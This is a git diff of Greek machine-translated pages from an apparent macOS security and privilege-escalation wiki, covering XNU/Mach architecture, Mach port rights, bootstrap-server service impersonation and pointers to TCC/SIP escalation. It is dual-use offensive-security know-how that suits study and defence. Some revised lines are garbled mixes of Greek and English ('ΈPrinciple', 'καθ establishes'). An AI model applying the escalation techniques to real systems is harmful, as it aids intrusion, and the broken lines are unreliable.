αρχείου** που θα **χρησιμοποιηθεί από το root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμα και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία. + +Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**: -Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους `.pkg` εγκαταστάτες**: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md @@ -83,13 +92,14 @@ macos-files-folders-and-binaries/macos-installers-abuse.md Περίεργες εφαρμογές που έχουν καταχωρηθεί από επεκτάσεις αρχείων θα μπορούσαν να εκμεταλλευτούν και διαφορετικές εφαρμογές μπορούν να καταχωρηθούν για να ανοίγουν συγκεκριμένα πρωτόκολλα + {{#ref}} macos-file-extension-apps.md {{#endref}} ## macOS TCC / SIP Privilege Escalation -Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχους από άλλους. +Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχες από άλλες. Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **αναβαθμίσει τα δικαιώματα TCC** (ή ακόμα και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του). @@ -99,7 +109,8 @@ macos-file-extension-apps.md ## macOS Traditional Privilege Escalation -Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές υποδείξεις: +Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές: + {{#ref}} macos-privilege-escalation.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 4967a4cc9..922681b09 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -6,13 +6,13 @@ Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **Mach μικροπυρήνα** (που θα συζητηθεί αργότερα), **και** στοιχεία από την Berkeley Software Distribution (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του ανοιχτού κώδικα έργου Darwin, που σημαίνει ότι **ο πηγαίος κώδικας του είναι ελεύθερα προσβάσιμος**. -Από την προοπτική ενός ερευνητή ασφαλείας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φαίνεται αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή GUI και μια σειρά από προσαρμοσμένες εφαρμογές. Οι περισσότερες εφαρμογές που αναπτύσσονται για BSD θα μεταγλωττιστούν και θα εκτελούνται στο macOS χωρίς να χρειάζονται τροποποιήσεις, καθώς τα εργαλεία γραμμής εντολών που είναι οικεία στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει τον Mach, υπάρχουν κάποιες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος παρόμοιου με Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν πιθανά προβλήματα ή να προσφέρουν μοναδικά πλεονεκτήματα. +Από την προοπτική ενός ερευνητή ασφάλειας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φαίνεται αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή GUI και μια σειρά από προσαρμοσμένες εφαρμογές. Οι περισσότερες εφαρμογές που έχουν αναπτυχθεί για το BSD θα μεταγλωττιστούν και θα εκτελούνται στο macOS χωρίς να χρειάζονται τροποποιήσεις, καθώς τα εργαλεία γραμμής εντολών που είναι γνωστά στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει τον Mach, υπάρχουν κάποιες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος τύπου Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν πιθανά προβλήματα ή να προσφέρουν μοναδικά πλεονεκτήματα. Ανοιχτός κώδικας έκδοση του XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Ο Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με UNIX**. Ένα από τα βασικά σχεδιαστικά του принципα ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντίθετα να επιτρέπει πολλές τυπικές λειτουργίες πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**. +Ο Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με UNIX**. ΈPrinciple του σχεδιασμού του ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντίθετα να επιτρέπει πολλές τυπικές λειτουργίες του πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**. Στον XNU, ο Mach είναι **υπεύθυνος για πολλές από τις κρίσιμες χαμηλού επιπέδου λειτουργίες** που συνήθως χειρίζεται ένας πυρήνας, όπως ο προγραμματισμός επεξεργαστή, η πολυδιεργασία και η διαχείριση εικονικής μνήμης. @@ -22,14 +22,14 @@ - Διαχείριση διεργασιών - Διαχείριση σημάτων -- Βασικοί μηχανισμοί ασφαλείας, συμπεριλαμβανομένης της διαχείρισης χρηστών και ομάδων +- Βασικοί μηχανισμοί ασφάλειας, συμπεριλαμβανομένης της διαχείρισης χρηστών και ομάδων - Υποδομή κλήσεων συστήματος - Στοίβα TCP/IP και υποδοχές - Τείχος προστασίας και φιλτράρισμα πακέτων -Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με το **να συσχετίζεται κάθε διεργασία BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί τις λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος. +Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με το **να συσχετίζεται κάθε διεργασία BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί συναρτήσεις Mach για να δημιουργήσει μια δομή εργασίας και νήματος. -Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του **Mach** βασίζεται στα **δικαιώματα θυρών**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί με βάση την **ιδιοκτησία διεργασίας**. Οι διαφορές μεταξύ αυτών των δύο μοντέλων έχουν κατά καιρούς οδηγήσει σε τοπικές ευπάθειες ανύψωσης προνομίων. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν στα προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία μαζί σχηματίζουν την πολύπλευρη, υβριδική αρχιτεκτονική του πυρήνα macOS. +Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφάλειας**: το μοντέλο ασφάλειας του **Mach** βασίζεται σε **δικαιώματα θυρών**, ενώ το μοντέλο ασφάλειας του BSD λειτουργεί με βάση την **ιδιοκτησία διεργασίας**. Οι διαφορές μεταξύ αυτών των δύο μοντέλων έχουν κατά καιρούς οδηγήσει σε τοπικές ευπάθειες ανύψωσης προνομίων. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν στα προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία μαζί σχηματίζουν την πολύπλευρη, υβριδική αρχιτεκτονική του πυρήνα macOS. ### I/O Kit - Drivers @@ -49,7 +49,7 @@ macos-iokit.md Το macOS είναι **πολύ περιοριστικό για τη φόρτωση Επεκτάσεων Πυρήνα** (.kext) λόγω των υψηλών προνομίων με τα οποία θα εκτελείται ο κώδικας. Στην πραγματικότητα, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί μια παράκαμψη). -Στην επόμενη σελίδα μπορείτε επίσης να δείτε πώς να ανακτήσετε το `.kext` που φορτώνει το macOS μέσα στο **kernelcache** του: +Στην επόμενη σελίδα μπορείτε επίσης να δείτε πώς να ανακτήσετε το `.kext` που φορτώνει το macOS μέσα στο **kernelcache**: {{#ref}} macos-kernel-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 2bdf9317b..cb3ef0fc5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -6,11 +6,11 @@ ### Basic Information -Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχούν 1:1 σε POSIX processes και threads**. +Το Mach χρησιμοποιεί **tasks** ως τη **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχούν 1:1 σε διαδικασίες και νήματα POSIX**. -Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός μόνο τρόπου. **Μηνύματα μεταφέρονται μεταξύ θυρών**, οι οποίες λειτουργούν όπως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας. +Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός τρόπου. **Τα μηνύματα μεταφέρονται μεταξύ των ports**, τα οποία λειτουργούν ως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας. -Κάθε διαδικασία έχει έναν **πίνακα IPC**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα μιας mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα). +Κάθε διαδικασία έχει έναν **πίνακα IPC**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα ενός mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα). Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα port με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **πίνακα IPC της άλλης task** να εμφανιστεί. @@ -18,19 +18,19 @@ Mach χρησιμοποιεί **tasks** ως την **μικρότερη μον Τα δικαιώματα port, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά **δικαιώματα port** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στην port. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε port** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφείς αρχείων στο τέλος ανάγνωσης ενός σωλήνα). -- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στην port**. -- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στην port. -- Το Δικαίωμα Αποστολής μπορεί να **αντιγραφεί** έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να το αντιγράψει και **να το παραχωρήσει σε μια τρίτη task**. -- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στην port και στη συνέχεια εξαφανίζεται. -- **Δικαίωμα συνόλου θυρών**, το οποίο δηλώνει ένα _σύνολο θυρών_ αντί για μια μόνο port. Η αποδέσμευση ενός μηνύματος από ένα σύνολο θυρών αποδεσμεύει ένα μήνυμα από μία από τις θυρίδες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν σε πολλές θυρίδες ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix. -- **Νεκρό όνομα**, το οποίο δεν είναι πραγματικό δικαίωμα port, αλλά απλώς μια θέση κράτησης. Όταν μια port καταστρέφεται, όλα τα υπάρχοντα δικαιώματα port στην port μετατρέπονται σε νεκρά ονόματα. +- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στο port. Τα Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε port** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο τέλος ανάγνωσης ενός σωλήνα). +- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στο port** της. +- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στο port. +- Το Δικαίωμα Αποστολής μπορεί να **κλωνοποιηθεί** έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να κλωνοποιήσει το δικαίωμα και **να το παραχωρήσει σε μια τρίτη task**. +- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στο port και στη συνέχεια εξαφανίζεται. +- **Δικαίωμα συνόλου port**, το οποίο δηλώνει ένα _σύνολο port_ αντί για ένα μόνο port. Η αποδέσμευση ενός μηνύματος από ένα σύνολο port αποδεσμεύει ένα μήνυμα από ένα από τα ports που περιέχει. Τα σύνολα port μπορούν να χρησιμοποιηθούν για να ακούν σε αρκετά ports ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix. +- **Dead name**, το οποίο δεν είναι πραγματικό δικαίωμα port, αλλά απλώς μια θέση κράτησης. Όταν ένα port καταστρέφεται, όλα τα υπάρχοντα δικαιώματα port στο port μετατρέπονται σε dead names. -**Οι tasks μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να αντιγραφούν, έτσι ώστε μια task να μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη task**. Αυτό, σε συνδυασμό με μια ενδιάμεση διαδικασία γνωστή ως **bootstrap server**, επιτρέπει την αποτελεσματική επικοινωνία μεταξύ των tasks. +**Οι tasks μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλες**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι ώστε μια task να μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη task**. Αυτό, σε συνδυασμό με μια ενδιάμεση διαδικασία γνωστή ως **bootstrap server**, επιτρέπει την αποτελεσματική επικοινωνία μεταξύ των tasks. ### File Ports -Οι File ports επιτρέπουν την ενσωμάτωση περιγραφέων αρχείων σε Mac ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από έναν δεδομένο FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία ενός FD από μια fileport χρησιμοποιώντας `fileport_makefd`. +Τα File ports επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε Mac ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από ένα fileport χρησιμοποιώντας `fileport_makefd`. ### Establishing a communication @@ -38,32 +38,32 @@ Mach χρησιμοποιεί **tasks** ως την **μικρότερη μον Όπως αναφέρθηκε, προκειμένου να καθιερωθεί το κανάλι επικοινωνίας, εμπλέκεται ο **bootstrap server** (**launchd** στο mac). -1. Η task **A** ξεκινά μια **νέα port**, αποκτώντας ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** στη διαδικασία. -2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για την port**. -3. Η task **A** καθ establishes a **connection** με τον **bootstrap server**, παρέχοντας το **όνομα υπηρεσίας της port** και το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** μέσω μιας διαδικασίας γνωστής ως bootstrap register. -4. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **lookup για το όνομα υπηρεσίας**. Εάν είναι επιτυχής, ο **server αντιγράφει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**. -5. Αφού αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, η Task **B** είναι ικανή να **διαμορφώσει** ένα **μήνυμα** και να το αποστείλει **στην Task A**. -6. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί μια νέα port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία). +1. Η task **A** ξεκινά ένα **νέο port**, αποκτώντας ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** στη διαδικασία. +2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για το port**. +3. Η task **A** καθ establishes a **connection** με τον **bootstrap server**, παρέχοντας το **όνομα υπηρεσίας του port** και το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** μέσω μιας διαδικασίας γνωστής ως bootstrap register. +4. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **lookup για το όνομα υπηρεσίας**. Εάν είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**. +5. Με την απόκτηση ενός ΔΙΚΑΙΩΜΑΤΟΣ ΑΠΟΣΤΟΛΗΣ, η Task **B** είναι ικανή να **διαμορφώσει** ένα **μήνυμα** και να το αποστείλει **στην Task A**. +6. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί ένα νέο port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία). Ο bootstrap server **δεν μπορεί να πιστοποιήσει** το όνομα υπηρεσίας που δηλώνει μια task. Αυτό σημαίνει ότι μια **task** θα μπορούσε δυνητικά να **παριστάνει οποιαδήποτε συστημική task**, όπως ψευδώς **να δηλώνει ένα όνομα υπηρεσίας εξουσιοδότησης** και στη συνέχεια να εγκρίνει κάθε αίτημα. Στη συνέχεια, η Apple αποθηκεύει τα **ονόματα υπηρεσιών που παρέχονται από το σύστημα** σε ασφαλή αρχεία ρυθμίσεων, που βρίσκονται σε **SIP-protected** καταλόγους: `/System/Library/LaunchDaemons` και `/System/Library/LaunchAgents`. Μαζί με κάθε όνομα υπηρεσίας, το **σχετικό δυαδικό αρχείο αποθηκεύεται επίσης**. Ο bootstrap server θα δημιουργήσει και θα διατηρήσει ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ για καθένα από αυτά τα ονόματα υπηρεσίας**. -Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν ένα όνομα υπηρεσίας αναζητείται, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής: +Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής: - Η task **B** ξεκινά μια bootstrap **lookup** για ένα όνομα υπηρεσίας. -- **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**. -- Η task **A** (η υπηρεσία) εκτελεί έναν **bootstrap check-in**. Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**. -- Το launchd αντιγράφει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**. -- Η Task **B** δημιουργεί μια νέα port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία). +- Ο **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**. +- Η task **A** (η υπηρεσία) εκτελεί μια **bootstrap check-in**. Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**. +- Ο launchd διπλασιάζει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**. +- Η Task **B** δημιουργεί ένα νέο port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία). -Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks εξακολουθούν να λειτουργούν όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνουν. +Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παρενόχληση. ### A Mach Message [Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη Mach μηνυμάτων. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως αρχικό επιχείρημα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής: +Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη Mach μηνυμάτων. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως την αρχική παράμετρο. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -76,7 +76,7 @@ mach_msg_id_t msgh_id; ``` Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο. -Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **mach θύρα** στην κεφαλίδα **μηνύματος** που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **δέκτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Οι σημαίες bit στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής-μία φορά** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **mach port** στην κεφαλίδα **μηνύματος** που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **δέκτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Οι bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής-μία φορά** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] > Σημειώστε ότι αυτός ο τύπος διπλής κατεύθυνσης επικοινωνίας χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Αλλά **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για να δημιουργηθεί η διπλής κατεύθυνσης επικοινωνία. @@ -89,13 +89,13 @@ mach_msg_id_t msgh_id; - `msgh_id`: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον δέκτη. > [!CAUTION] -> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας \_mach θύρας**\_, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο δέκτη**, **πολλούς αποστολείς** ενσωματωμένο στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια mach θύρα, αλλά σε οποιαδήποτε στιγμή μόνο **μία διεργασία μπορεί να διαβάσει** από αυτήν. +> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας \_mach port**\_, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο δέκτη**, **πολλούς αποστολείς** που είναι ενσωματωμένο στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια mach port, αλλά σε οποιαδήποτε 